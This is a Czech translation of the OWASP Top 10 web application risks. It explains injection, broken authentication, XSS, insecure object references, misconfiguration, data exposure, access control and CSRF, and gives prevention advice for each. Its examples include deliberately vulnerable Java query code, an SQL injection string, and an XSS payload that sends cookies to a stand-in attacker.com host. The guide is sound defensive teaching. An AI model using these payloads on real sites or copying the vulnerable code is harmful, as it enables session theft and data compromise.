Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
snadná
Rozšíření
běžné
Zjistitelnost
průměrná
Dopad
vážný
Aplikační / obchodní specifikum
Vezměte v úvahu každého, kdo může posílat nedůvěryhodná data do systému, včetně externích uživatelů, interních uživatelů a administrátorů. Útočník posílá jednoduché textové příkazy, které zneužívají syntaxi cílového interpretu. Přenašečem injektování může být téměř každý zdroj dat včetně interních. Chyby typu injektování vznikají, když aplikace posílá do interpretu nedůvěryhodná data. Tyto chyby jsou velmi rozšířené, obzvláště v tzv. Legacy Code. Často bývají nalezeny v dotazech SQL, LDAPu, Xpath, nebo v NoSQL; v příkazech OS, parserech XML, hlavičkách SMTP, argumentech programů atd. Chyby typu injektování se snadno zjiš\ ťují zkoumáním kódu, ale často hůře jiným testováním. S nalezením těchto chyb mohou útočníkům pomoci skenery a fuzzery. Injektování může mít za následek ztrátu nebo narušení integrity, odpovědnosti či dostupnosti. Někdy může injektování vést ke kompletnímu ovládnutí hostitelského serveru. Zvažte obchodní hodnotu dotčených dat a platformy, na níž běží interpret. Mohou být ukradena, změněna nebo odstraněna všechna data. Nemůže dojít k poškození vaší pověsti?
Jsem zranitelný vůči injektování?

Nejlepším způsobem jak zjistit, zda je aplikace zranitelná na injektováním, je ověřit, jestli všechna použití interpretů jasně oddělují nedůvěryhodná data od příkazů či dotazů. V případě volání SQL to znamená použít bind variables (vázané proměnné) ve všech prepared statements (připravených příkaz\ ech) a stored procedures (uložených procedurách) a vyhnout se dynamickým dotazům (dynamic queries).

Rychlým a přesným způsobem jak zjistit, zda aplikace používá intereprety bezpečně, je kontrola kódu. Bezpečnostním analytikům mohou pomoci najít místa použití interpretů a sledovat tok dat nástroje pro analýzu kódu. Penetrační testeři mohou ověřit nalezené zranitelnosti vytvořením exploitů, které \ zranitelnost potvrdí.

Automatické dynamické skenování, které otestuje aplikaci, může poskytnout informaci, zda se v aplikaci vyskytují nějaké trhliny umožňující injektování. Skenery ne vždy dosáhnou na interpety a mají potíže se zjištěním, jestli byl útok úspěšný. Špatné ošetřování chyb znesnadňuje objevování chyb inje\ ktování.

Jak mohu předejít „injektování“?

Abychom zabránili injektování, měli bychom oddělovat nedůvěryhodná data od používaných příkazů a dotazů.

  • 1. Preferovanou možností je použít bezpečné API, které vůbec nepoužívá interpret nebo poskytuje parametrizované rozhraní. Buďte však opatrní v případě API, která, ačkoliv jsou parametrizovaná, skrytě umožňují injektování, např. stored procedures (uložené procedury).
  • 2. Není-li parametrizované API k dispozici, měli byste pečlivě escapovat pomocí syntaxe specifické pro daný interpret. Mnoho \ escapovacich rutin poskytuje OWASP ESAPI.
  • 3. Také se doporučuje ověřování vstupů na základě pozitivních zkoušek nebo „white listů“. Takovou obranu ovšem nelze považova\ t za úplnou, neboť mnoho aplikací na vstupu vyžaduje speciální znaky. Pouze výše uvedené přístupy 1. a 2. zajistí, aby použití takových znaků bylo bezpečné. OWASP ESAPI obsahuje rozšířitelnou knihovnu rutin, které ověřují vstupy na základě „white listů“.
Příklady možných útoků

Příklad č. #1: Aplikace používá při vytvoření následujícího zranitelného volání SQL nedůvěryhodná data:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Příklad č. #2: Podobně slepá důvěra aplikace k frameworku může vyústit v dotazy, které jsou stále zranitelné (např. Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");

V obou případech změní útočník hodnotu parametru ’ id’ v prohlížeči tak, aby poslal ' or '1'='1.
Například:
http://example.com/app/acountView?id=:' or '1'='1

Toto změní smysl obou dotazů tak, že se vrátí všechny záznamy z tabulky „accounts“. Nebezpečnější útoky mohou změnit data, či dokonce vyvolat stored procedures (uložené procedury).

Odkazy

OWASP:

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
průměrná
Rozšíření
rozsáhlé
Zjistitelnost
průměrná
Dopad
vážný
Aplikační / obchodní specifikum
Vezměte v úvahu anonymní externí útočníky i uživatele s vlastními účty, kteří se mohou pokusit ukrást účty jiných uživatelů. Také vezměte v úvahu interní uživatele, kteří chtějí zakrýt své činy. Útočník využívá úniky nebo trhliny v autentizaci či ve funkcích správy relace (např. nechráněné účty, hesla a identifikátory relace) k tomu, aby se vydával za uživatele. Vývojáři často vytvářejí vlastní řešení autentizace a schémata správy relace, přestože jejich správné vytvoření je těžké. V důsledku toho mají tato vlastní řešení často nedostatky v odhlášení, správě hesel, době platnosti, zapamatování si přihlášení, tajných otázkách, aktualizacích účtu a podobných oblastech. Nalezení takových nedostatků někdy může být obtížné, protože každá implementace je jedinečná. Tyto chyby mohou umožnit napadení některých, či dokonce všech účtů. Když se útok podaří, útočník může provádět vše, co může dělat oběť. Častým cílem jsou privilegované účty. Vezměte v úvahu obchodní hodnotu dotčených dat nebo funkcí aplikace. Také zvažte obchodní dopad zveřejnění zranitelnosti.
Jsem zranitelný vůči „chybné autentizaci a správě relace“?

Jsou aktiva správy relací, např. přihlašovací údaje uživatelů a ID relace, náležitě chráněna? Můžete být ohroženi, pokud:

  • 1. Autentizační údaje uživatelů nejsou při ukládání chráněny pomocí hashování nebo šifrování, viz A6.
  • 2. Údaje lze uhodnout nebo přepsat pomocí slabých funkcí pro správu účtu (např. vytvoření účtu, změna hesla, obnovení hesla, slabé ID relace).
  • 3. ID relací jsou odhalena v URL (např. rewriting URL).
  • 4. ID relací jsou zranitelné na útoky session fixation.
  • 5. ID relací nemají nastavenu dobu platnosti, nebo tokeny uživatelské relace či autentizační tokeny, zejména autentizační tokeny Single Sign-On (SSO), nejsou správně zneplatněny při odhlášení.
  • 6. Po úspěšném přihlášení se nemění ID relací.
  • 7. Hesla, ID relací a další autorizační údaje jsou posílány nešifrovaným spojením.

Další informace viz v požadavcích oblastí V2 a V3 ASVS.

 

Jak mohu předejít „chybné autentizaci a správě relace“?

Hlavním doporučením pro organizaci je dát vývojářům přístup:

  • 1. k jednotné sadě silného řízení autentizace a správy relací. Tato sada by měla usilovat o:
  • 2. S velkým úsilím by se mělo zabránit zranitelnostem XSS, pomocí nichž může být ukradeno ID relace, viz A3.
Příklady možných útoků

Příklad č. #1: Rezervační aplikace aerolinek podporuje URL rewriting a vkládá do URL ID relace:
http://example.com/sale/saleitems
;jsessionid=2P0OC2JSNDLPSKHCJUN2JV
?dest=Hawaii

Autentizovaný uživatel webové aplikace chce poslat informace o nabídce svým přátelům. Pošle jim e-mailem výše uvedený odkaz, aniž by věděl, že zároveň odesílá ID své relace. Když jeho přátelé použijí tento odkaz, použijí také jeho relaci a kreditní kartu.

Příklad č. #2: Nejsou správně nastaveny doby platností relací. Uživatel používá pro přístup k některému webu veřejný počítač. Místo toho, aby se odhlásil tlačítkem „Odhlásit“, jen zavře záložku prohlížeče a odejde. Útočník o hodinu později použije stejný prohlížeč – a předchozí uživatel je stále přihlášen v aplikaci.

Příklad č. #3: Interní či externí útočník získá přístup k databázi hesel systému. Uživatelská hesla nejsou patřičně hashována, a tak útočník vidí hesla všech uživatelů.

Odkazy

OWASP:

Další informace o požadavcích a problémech spojených s tímto rizikem viz v ASVS requirements areas for Authentication (V2) and Session Management (V3).

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
průměrná
Rozšíření
velmi rozsáhlé
Zjistitelnost
snadná
Dopad
střední
Aplikační / obchodní specifikum
Vezměte v úvahu každého, kdo může posílat nedůvěry- hodná data do systému, včetně externích uživatelů, interních uživatelů a administrá- torů. Útočník posílá v podobě textového řetězce útočné skripty, které zneužívají interpret v prohlížeči. Vektorem útoku může být skoro každý zdroj dat včetně interních zdrojů, například dat z databáze. XSS je nejrozšířenější bezpečnostní chybou webových aplikací. Zranitelnost XSS nastává, když aplikace vkládá data poskytnutá uživatelem do webové stránky, kterou posílá do prohlížeče, bez řádné validace či escapování tohoto obsahu. Rozlišujeme dva typy zranitelností XSS: 1) stored a 2) reflected a každá z nich se může objevit a) na serveru nebo b) na straně klienta.

Nalézt většinu XSS na straně serveru je celkem jednoduché: testováním nebo analýzou kódu. Nalézt XSS na straně klienta je velmi obtížné.
Útočníci můžou spouštět skripty v prohlížeči oběti, což jim umožňuje unést uživatelskou relaci, změnit obsah stránek, vložit nebezpečný obsah, přesměrovat uživatele, zmocnit se uživatelova prohlížeče za použití malwaru atd. Zvažte obchodní hodnotu postiženého systému a všech dat, které zpracovává. Také zvažte, jaký obchodní dopad může mít zveřejnění zranitelnosti.
Jsem zranitelný vůči „XSS“?

Jste zranitelní, pokud nezajistíte, aby byly správně escapovány všechny vstupy zadávané uživatelem, ani neověříte jejich bezpečnost validací vstupů dříve, než je použijete při vytvoření stránky. Bez správného výstupního escapování nebo validace bude prohlížeč zacházet s takovým vstupem jako s aktivním obsahem. Používá-li se pro dynamické aktualizování stránek Ajax, používáte bezpečná JavaScriptová API? Pro nebezpečná JavaScriptová API musí být použito zakódování nebo validace dat.

Automatizované nástroje mohou najít některé XSS automaticky. Každá aplikace ovšem sestavuje výstupní stránky jiným způsobem a používá na straně prohlížeče různé interprety, např. JavaScript, ActiveX, Flash a Silverlight, což automatickou detekci ztěžuje. Kompletní pokrytí problému XSS proto kromě automatizovaných přístupů vyžaduje i kombinaci manuální kontroly kódu a penetračního testování.

Technologie Web 2.0, např. Ajax, detekci XSS pomocí automatických nástrojů ztěžuje.

 

Jak mohu předejít „XSS“?

Prevence XSS vyžaduje oddělit nedůvěryhodná data od aktivního obsahu prohlížeče.

  • 1. Preferovanou možností je důkladně escapovat všechna nedůvěryhodná data založená na kontextu HTML (tělo, atributy, JavaScript, CSS nebo URL), do kterého se budou umisťovat. Viz dokument OWASP XSS Prevention Cheat Sheet, kde jsou uvedeny podrobnosti potřebných technik escapování dat.
  • 2. Doporučuje se sice i validace vstupů na základě pozitivních zkoušek či „whitelistů“, protože chrání proti XSS; není to ovšem kompletní obrana, neboť mnoho aplikací vyžaduje na vstupu speciální znaky. Takováto validace by měla, nakolik je to možné, před akceptováním dat validovat jejich délku, znaky, formát a pravidla činnosti.
  • 3. V případě rozsáhlých stránek zvažte automatické sanitizační knihovny, např. OWASP AntiSamy nebo Java HTML Sanitizer Project.
  • 4. Jako obranu proti XSS na všech svých stránkách zvažte Content Security Policy.
Příklady možných útoků

Při konstrukci následujícího kousku HTML používá aplikace nedůvěryhodná data bez validace či escapování:
(String) page += ">input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

Útočník změní parametr ‘CC’ ve svém prohlížeči na:
'<script>document.location= 'http://www.attacker.com /cgi-bin/cookie.cgi ?foo='+document.cookie</script>'

To způsobí odeslání ID relace oběti na webové stránky útočníka, což mu umožní unést aktuální relaci oběti.

Všimněte si, že útočník může XSS použít ke zmaření jakékoliv automatizované obrany aplikace proti CSRF. Další informace o CSRF najdete v sekci A8.

Odkazy

OWASP:

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
snadná
Rozšíření
běžné
Zjistitelnost
snadná
Dopad
střední
Aplikační / obchodní specifikum
Vezměte v úvahu typy uživatelů v systému. Nemají mít někteří uživatelé k určitým druhům dat pouze částečný přístup? Útočník, který je oprávněným uživatelem systému, jednoduše změní hodnotu parametru, který přímo odkazuje na objekt systému, na jiný objekt, k němuž nemá mít oprávnění. Je mu přístup udělen? Aplikace často používají při generování (vytváření) webových stránek skutečný název nebo klíč nějakého objektu. Ne vždy ověřují, že je uživatel oprávněn přistupovat k cílovému objektu. To má za následek nezabezpečený přímý přístup k objektu. Takovéto chyby mohou snadno odhalit testeři, když budou manipulovat s hodnotami parametrů. Zda jsou autorizace řádně kontrolovány, rychle ukáže analýza kódu. Takové chyby mohou ohrozit veškerá data, na která odkazuje parametr. Pokud je odkaz na objekt předvídatelný, útočník snadno získá přístup ke všem datům tohoto typu.

Zvažte obchodní hodnotu odhalených dat.

Také zvažte obchodní dopad zveřejnění zranitelnosti.

Jsem zranitelný vůči „nezabezpečeným přímým odkazům na objekty“?

Nejlepší způsob, jak zjistit, zda je aplikace je zranitelná vůči nezabezpečeným přímým odkazům na objekty, je ověřit, zda všechny odkazy na objekt mají odpovídající ochranu. K dosažení tohoto cíle vezměte v úvahu:

  • 1. V případě přímých odkazů ke zdrojům s omezeným přístupem: ověří aplikace, že uživatel je oprávněn přistoupit přesně k požadovanému zdroji?
  • 2. Pokud je odkaz nepřímý: omezí aplikace při mapování na přímé odkazy přístup aktuálnímu uživateli na hodnoty, k nimž má oprávnění?

Kontrola kódu (code review) aplikace může rychle ověřit, zda je přístup implementován bezpečně. K identifikaci odkazů na přímé zdroje a k posouzení, zda jsou bezpečné, je účinné též testování. Automatizované nástroje obvykle takovéto nedostatky nehledají, protože nejsou schopny rozpoznat, jaký zdroj vyžaduje ochranu, ani co je bezpečné nebo nebezpečné.

 

Jak mohu předejít „nezabezpečeným přímým odkazům na objekty“?

Prevence vyžaduje vhodný výběr metody ochrany každého objektu, který je dostupný uživatelům (např. číslo objektu nebo název souboru):

  • 1. Používejte nepřímé odkazy na objekty pro každého uživatele nebo relaci zvlášť. Zabráníte tím v přístupu útočníkům, kteří se zaměřují na neautorizované zdroje. Například místo databázového klíče zdroje použijte rozbalovací seznam šesti hodnot schválených pro aktuálního uživatele. K označení hodnoty, kterou si uživatel vybral, můžete použít čísla 1-6. Aplikace musí namapovat nepřímý odkaz specifický pro uživatele zpět na skutečný databázový klíč na serveru. V OWASP ESAPI jsou uvedeny mapy odkazů jak pro sekvenční, tak pro libovolný přístup, a ty mohou vývojáři použít místo přímých odkazů na objekt.
  • 2. Zkontrolujte přístup. Každé použití přímého odkazu na objekt z nedůvěryhodného zdroje musí obsahovat kontrolu přístupu a musí zaručit, že uživatel má práva k požadovanému objektu.
Příklady možných útoků

Aplikace používá neověřené údaje v dotazu SQL, který přistupuje k informacím o uživatelských účtech: String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

Útočník může jednoduše ve svém prohlížeči změnit parametr 'acct' a odeslat jakékoliv číslo účtu. Pokud není jeho požadavek ověřen, může útočník získat přístup nejen ke svému, ale k jakémukoliv účtu.
http://example.com/app/accountInfo?acct=notmyacct

Odkazy

OWASP:

Další informace ohledně požadavků na kontrolu přístupu viz ASVS requirements area for Access Control (V4).

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
snadná
Rozšíření
běžné
Zjistitelnost
snadná
Dopad
střední
Aplikační / obchodní specifikum
Uvažte anonymní externí útočníky i uživatele s vlastními účty, kteří se mohou pokusit kompromitovat systém. Také vezměte v úvahu aplikace znalé osoby, které chtějí zakrýt své činy. Útočník přistupuje k výchozím účtům, nepoužívaným stránkám, neopraveným chybám, nechráněným souborům a adresářům atd., aby získal neoprávněný přístup nebo informace o systému. Nezabezpečená konfigurace se může objevit na jakékoliv úrovni aplikace včetně platformy, webového serveru, aplikačního serveru, databáze, frameworku nebo vlastního kódu. Na správné konfiguraci tohoto celého komplexu musí spolupracovat vývojáři a správci systému. Pro detekci chybějících záplat, chybné konfigurace, výchozích účtů, nepotřebných služeb atd. jsou vhodné automatizované skenery.

Takovéto zranitelnosti často poskytují útočníkovi neautorizovaný přístup k některým datům nebo funkcím systému. Mohou případně vést i k naprosté kompromitaci systému.

Systém může být zcela kompro- mitován, aniž byste o tom věděli. Mohou být ukradena nebo postupně měněna všechna vaše data.

Náklady spojené s obnovou mohou být značné.

Jsem zranitelný vůči „nezabezpečené konfiguraci“?

Nechybí vaši aplikaci řádné zabezpečení některé části zásobníku aplikace? To mj. znamená:

  • 1. Není některý váš software zastaralý? Například OS, webový nebo aplikační server, databázový systém, aplikace a všechny potřebné knihovny (viz nový bod A9).
  • 2. Nejsou povoleny nebo nainstalovány některé nepotřebné funkce (např. porty, služby, stránky, účty, oprávnění)?
  • 3. Nejsou výchozí účty a jejich hesla stále funkční a beze změny?
  • 4. Neodhaluje uživateli zpracování chyb výpis zásobníku nebo jiná příliš informativní chybová hlášení?
  • 5. Nejsou bezpečnostní nastavení ve vašem vývojářském frameworku (např. Struts, Spring, ASP.NET) a knihovnách nastavena na nebezpečné hodnoty?

Bez sehraného, opakovatelného procesu zabezpečení konfigurace aplikace jsou systémy vystaveny vyššímu riziku.

 

Jak mohu předejít „nezabezpečené konfiguraci“?

Hlavním doporučením je realizovat všechny následující body:

  • 1. Opakovaný proces posilování bezpečnosti, který umožní rychlé a snadné nasazení jiného, řádně zabezpečeného prostředí. Prostředí pro vývoj, QA a produkci by měla být nakonfigurována shodně (s různými hesly v každém prostředí). Tento proces by měl být automatizovaný, aby se minimalizovalo úsilí potřebné k nastavení nového bezpečného prostředí.
  • 2. Proces pro včasné nasazení všech nových softwarových aktualizací a oprav v každém prostředí. To samé nutně platí také pro všechny knihovny (viz nový bod A9).
  • 3. Silnou architekturu aplikace, která poskytuje účinné, bezpečné oddělení komponent.
  • 4. Zvažte pravidelná skenování a audity, která mohou odhalit budoucí chybné konfigurace nebo chybějící záplaty.
Příklady možných útoků

Příklad č. 1: Neodstraní se automaticky nainstalovaná administrátorská konzole aplikačního serveru. Nezmění se výchozí účty. Útočník zjistí, že na vašem serveru jsou standardní administrátorské stránky, přihlásí se s výchozími hesly a přebere nad serverem kontrolu.

Příklad č. 2: Na vašem serveru není zakázán výpis adresářů. Útočník zjistí, že může jednoduše vypsat adresáře a najít jakýkoli soubor. Útočník najde a stáhne všechny vaše zkompilované třídy Java, ty dekompiluje a pomocí reverzního inženýrství získá všechen váš kód. Poté ve vaší aplikaci najde vážnou chybu řízení přístupu.

Příklad č. 3: Konfigurace aplikačního serveru umožňuje vypsat zásobník, a odhalit tak uživateli případné skryté nedostatky. Útočníci mají rádi, když mohou z chybových hlášení získat další informace.

Příklad č. 4: Aplikační server je dodáván s ukázkovými aplikacemi, a ty se neodstraní z produkčního serveru. Ukázkové aplikace mají dobře známé bezpečnostní chyby, které mohou útočníci použít k ohrožení vašeho serveru.

Odkazy

OWASP:

Další požadavky v této oblasti můžete najít v ASVS requirements area for Security Configuration (V12).

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
obtížná
Rozšíření
vzácné
Zjistitelnost
průměrné
Dopad
važný
Aplikační / obchodní specifikum
Zvažte, kdo může získat přístup k citlivým datům a případným zálohám těchto dat. Jedná se o data v klidu, přesouvaná data i data v prohlížečích zákazníků. Ohrožení může přijít zvenku i zevnitř. Útočníci obvykle přímo neprolomí šifrovaná data. Dělají něco jiného, například kradou klíče, používají útoky typu man-in-the-middle, nebo kradou nešifrovaná data ze serveru, ať už během přenosu, nebo z prohlížeče uživatele. Nejčastější chybou prostě je, pokud nejsou citlivá data šifrovaná. Časté je generování a správa slabých šifrovacích klíčů a a používání slabých algoritmů, zvláště pak slabých technik hashování hesla. Velmi časté a snadno odhalitelné jsou slabiny prohlížeče, avšak takové nedostatky jsou těžko využitelné ve velkém měřítku. Zjištění nedostatků na straně serveru je pro externí útočníky obtížné kvůli omezenému přístupu a tyto chyby jsou také obvykle těžko zneužitelné. Chyba často ohrožuje veškeré údaje, které by měly být chráněné. Obvykle se jedná o informace, které obsahují citlivé údaje, jako jsou zdravotní záznamy, pověření, osobní údaje, kreditní karty, atd. Zvažte obchodní hodnotu ztracených dat a dopad na svou pověst. Jakou nesete právní odpovědnost, pokud jsou tato data nechráněná? Také zvažte poškození své pověsti.
Jsem zranitelný vůči „expozici citlivých dat“?

První věc, kterou musíte zjistit, je, která data kvůli své citlivosti vyžadují zvláštní ochranu. Například hesla, čísla kreditních karet, zdravotní záznamy a osobní údaje by chráněny být měly. Pro všechny tyto údaje zkontrolujte:

  • 1. Nejsou některá z těchto dat, počítaje v to také zálohy, dlouhodobě uložena jako prostý text?
  • 2. Nejsou některá z těchto dat interně nebo externě přenášena jako prostý text? Zvláště nebezpečený je internetový provoz.
  • 3. Nepoužívají se zastaralé nebo slabé kryptografické algoritmy?
  • 4. Negenerují se slabé šifrovací klíče? Nechybí dostatečná správa nebo rotace klíčů?
  • 5. Nechybí nejaká bezpečnostní direktiva nebo hlavičky, když se citlivá data posílají prohlížeči?

A tak dále ... více informací o této problematice viz ASVS areas Crypto (V7), Data Prot. (V9), a SSL (V10).

Jak mohu předejít „expozici citlivých dat“?

Všechna rizika nezabezpečné kryptografie, používání SSL a ochrany dat jsou nad rámec Top 10. To znamená, že byste pro všechna citlivá data měli udělat přinejmenším toto:

  • 1. Vzhledem k míře ohrožení plánujte chránit tato data, ujistěte se, že šifrujete všechna citlivá data, která jsou v klidu i která se přesouvají, a to způsobem, který je chrání proti těmto hrozbám.
  • 2. Citlivá data neukládejte zbytečně. Co nejdříve je zlikvidujte. Data tak nemohou být ukradena.
  • 3. Zajistěte používání silných standardních algoritmů, silných klíčů a řádnou správu klíčů. Zvažte použití FIPS 140 validovaných kryptografických modulů.
  • 4. Zajistěte ukládání hesel pomocí algoritmů, které jsou speciálně navrženy pro ochranu hesel, jako je bcryptPBKDF2 neboscrypt.
  • 5. Zakažte automatické doplňování (autocomplete) ve formulářích, které sbírají citlivá data a zakažte kešování stránek, které obsahují citlivá data.
Příklady možných útoků

Scénář č. 1: Aplikace, která šifruje čísla kreditních karet v databázi, používá automatické šifrování databáze. To ovšem znamená, že i automaticky tato data dešifruje při jejich načítání, takže v případě SQL injection je možné získat čísla kreditních karet jako prostý text. Systém by měl mít čísla kreditních karet šifrovaná pomocí veřejného klíče a pouze back-endové aplikace by měly mít povoleno tato data dešifrovat pomocí soukromého klíče.

Scénář č. 2: Webové stránky prostě nepoužívají SSL pro všechny autentizované stránky. Útočník jednoduše monitoruje provoz v síti (jako otevřené bezdrátové sítě) a ukradne cookie relace uživatele. Útočník pak použije tuto cookie, unese uživatelovu relaci a získá přístup k jeho soukromým datům.

Scénář č. 3: Databáze hesel používá pro ukládání všech hesel nesolené hashe. Chyba v uploadu souboru umožňuje útočníkovi získat soubor s hesly. Všechny nesolené hashe mohou být odkryty pomocí tzv. duhové tabulky předpočítaných hashů.

Odkazy

OWASP:

Úplnější seznam požadavků viz v ASVS req’ts on Cryptography (V7), Data Protection (V9) a Communications Security (V10)

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
snadná
Rozšíření
běžné
Zjistitelnost
průměrná
Dopad
střední
Aplikační / obchodní specifikum
Všichni, kdo mají přístup do sítě, mohou zaslat vaší aplikaci požadavek. Nemůže se anonymní uživatel dostat k neveřejné funkcionalitě nebo ověřený uživatel k funkcím, k nimž nemá oprávnění? Útočník, který je ověřeným uživatelem systému, může upravit URL nebo nějaký parametr, a dostat se tak k privilegovaným funkcím. Je mu přístup umožněn? Anonymní uživatelé se mohou dostat k neveřejným funkcím, které proti tomu nejsou zabezpečeny. Ne vždy chráni aplikace své funkce správně. Někdy je úroveň ochrany funkcí řízena nastavením, ovšem systém je nastaven nesprávně. Jindy vývojáři zapomenou udělat dostatečnou kontrolu kódu. Detekování takovéhoto nedostatku přitom není těžké – nejnáročnější je určit, které stránky (URL) a funkce jsou napadnutelné. Tento druh zranitelnosti umožňuje útočníkovi získat neoprávněný přístup k funkcionalitě. Ústředním cílem takovéhoto útoku jsou administrá- torské funkce. Zvažte hodnotu jednotlivých funkcí a dat jimi zpracová- vaných. Také zvažte vliv na svou pověst, pokud se tato zranitelnost dostane na veřejnost.
Jsem zranitelný vůči „chybám v řízení úrovní přístupu“?

Nejlepším způsobem, jak zjistit, zda aplikace správně omezuje přístup k jednotlivým funkcím, je ověřit každou funkci aplikace:

  • 1. Nezobrazuje uživatelské rozhraní přístup k neoprávněným funkcím?
  • 2. Nechybí na straně serveru autentizační nebo autorizační kontroly?
  • 3. Nespoléhají kontroly na straně serveru pouze na informace poskytnuté útočníkem?

Prohlédněte si aplikaci s privilegovanými právy pomocí proxy. Následně opět navštivte stránku s použitím omezených práv. Pokud jsou si odpovědi serveru podobné, server je pravděpodobně zranitelný. Tento druh analýzy některé testovací proxy přímo podporují. Na implementaci řízení přístupu se můžete podívat také v kódu. Zkuste v kódu sledovat jeden privilegovaný požadavek a zkontrolovat autorizační mechanizmus. Následně projděte celý kód a zjistěte, kde nebyl tento mechanismus dodržen. Tato chyba se hledá automatickými nástroji jen stěží.

Jak mohu předejít „chybám v řízení úrovní přístupu“?

Aplikace by měla mít konzistentní a jednoduše analyzovatelný autorizační modul, který budou používat všechny funkce. Takovou ochranu často poskytují externí doplňky.

  • 1. Zamyslete se nad procesem správy oprávnění a zajistěte, aby byla jednoduše aktualizovatelná a prověřitelná. Nevpisujte oprávnění přímo do kódu.
  • 2. Autorizační mechanismus by měl implicitně odmítnout všechny přístupy a každou funkci by měl povolit jenom vyjmenovaným uživatelským rolím.
  • 3. Pokud je funkce součástí pracovního postupu, ujistěte se, že podmínky umožňující přístup jsou nastaveny správně.
  • Poznámka: Většina webových aplikací sice nezobrazuje odkazy ani tlačítka pro přístup k privilegovaným funkcím, ale toto „řízení přístupu na úrovni vzhledu“ ochranu ve skutečnosti nezajistí. Kontroly je potřeba implementovat rovněž v řídících prvcích a v logice činnosti firmy.
Příklady možných útoků

Příklad č. 1: Útočník v prohlížeči zadá cílové URL. Toto URL vyžaduje autentizaci. Pro přístup ke stránce „admin_getappInfo“ jsou požadována i administrátorská práva.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

Pokud může přistoupit k jedné z těchto stránek neautentizovaný uživatel, jedná se o zranitelnost. Pokud může přistoupit ke stránce “admin_getappInfo“ autentizovaný uživatel, který však není administrátorem, jedná se také o zranitelnost, a ta může dovést útočníka na ještě nedostatečněji chráněné administrátorské stránky.

Příklad č. 2: Stránka obsahuje parametr „akce“, který určuje volanou funkčnost. Různé akce vyžadují různé uživatelské role, a pokud aplikace použití rolí nevynucuje, je to chyba.

Odkazy

OWASP:

Další požadavky na řízení přístupu viz v ASVS requirements area for Access Control (V4).

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
průměrná
Rozšíření
běžné
Zjistitelnost
snadná
Dopad
střední
Aplikační / obchodní specifikum
Útočník může podstrčit obsah do prohlížeče uživatele vašich stránek, a tím bez jeho vědomí zaslat požadavek na webový server. Může jít o kteroukoli webovou stránku nebo jiný zdroj webového obsahu, ke kterému má uživatel přístup. Útočník vytvoří podvržený požadavek HTTP a různými podvodnými technikami (obrázkové značky, XSS aj.) ho předloží oběti. Pokud je uživatel v aplikaci přihlášen, útok se zdaří.

CSRF využívá skutečnosti, že většina webových aplikací umožňuje útočníkům, aby odvodili podrobnosti jednotlivých akcí.

Vzhledem k tomu, že prohlížeč zasílá automaticky některé identifikační údaje, např. cookies relace, útočník může vytvořit stránku schopnou generovat podvržené požadavky, které jsou k nerozeznání od těch oprávněných.

Detekce CSRF je poměrně snadná, a to pomocí penetračních testů nebo analýzou kódu.

Útočník může přimět oběť, aby provedla změny stavu, k nimž je oprávněna, např. aktualizace stavu účtu, nákup, odhlášení, ba i přihlášení.

Zvažte obchodní hodnotu dotčených dat a funkcí aplikace. V případě útoku si nemůžete být jisti, zda uživatel provedené akce zamýšlel udělat.

Zvažte také dopad na svou pověst.

Jsem zranitelný vůči „CSRF“?

Aplikace je napadnutelná, pokud v některém odkazu nebo formuláři chybí token CSRF, který nelze odhadnout. Bez něj může útočník podsunout škodlivý dotaz na stránku. Jako alternativní ochranu můžete od uživatele požadovat ověření, že opravdu zamýšlel dotaz odeslat, např. opětovné zadání hesla nebo jiný způsob, kterým prokáže, že je skutečným uživatelem (CAPTCHA apod.).

Zaměřte se na odkazy a formuláře sloužící k provedení změn stavu – ty jsou nejdůležitějším cílem útoku CSRF.

Zkontrolujte vícekrokové operace, protože ty jsou ohroženy ze své podstaty. Útočníci mohou snadno podstrčit celou řadu požadavků použitím více tagů nebo prostřednictvím JavaScriptu.

Je nutno poznamenat, že cookies relace, zdrojová adresa IP a další informace automaticky zasílané prohlížečem neposkytují ochranu proti CSRF, protože se mohou vyskytovat i v podvržených dotazech.

Nástrojem CSRF Tester od OWASPu si můžete vygenerovat testové případy, pomocí nichž uvidíte nebezpečí spojená se zranitelností CSRF.

Jak mohu předejít CSRF?

Prevence CSRF obvykle spočívá v začlenění nepředvídatelného tokenu do každého požadavku HTTP. Unikátní token by měla mít přinejmenším každá uživatelská relace.

  • 1. Upřednostňovaným způsobem je vložit unikátní token do skrytého pole, které se pak odešle v těle požadavku HTTP. Token tak nebude součástí URL, kde by bylo větší riziko jeho odhalení útočníkem.
  • 2. Unikátní token může být také obsažen v samotném URL nebo v parametru URL, což ovšem zvyšuje riziko, že když útočník zjistí URL, token bude prozrazen. CSRF Guard od OWASPu může automaticky vložit tyto tokeny do aplikací v Java EE, .NET nebo PHP. ESAPI od OWASPu obsahuje metody, které mohou vývojáři použít na obranu proti CSRF.
  • 3. Proti CSRF může také ochránit požadování opětovné autentizace nebo jiného způsobu ověření, že uživatel je skutečný (např. CAPTCHA).
Příklady možných útoků

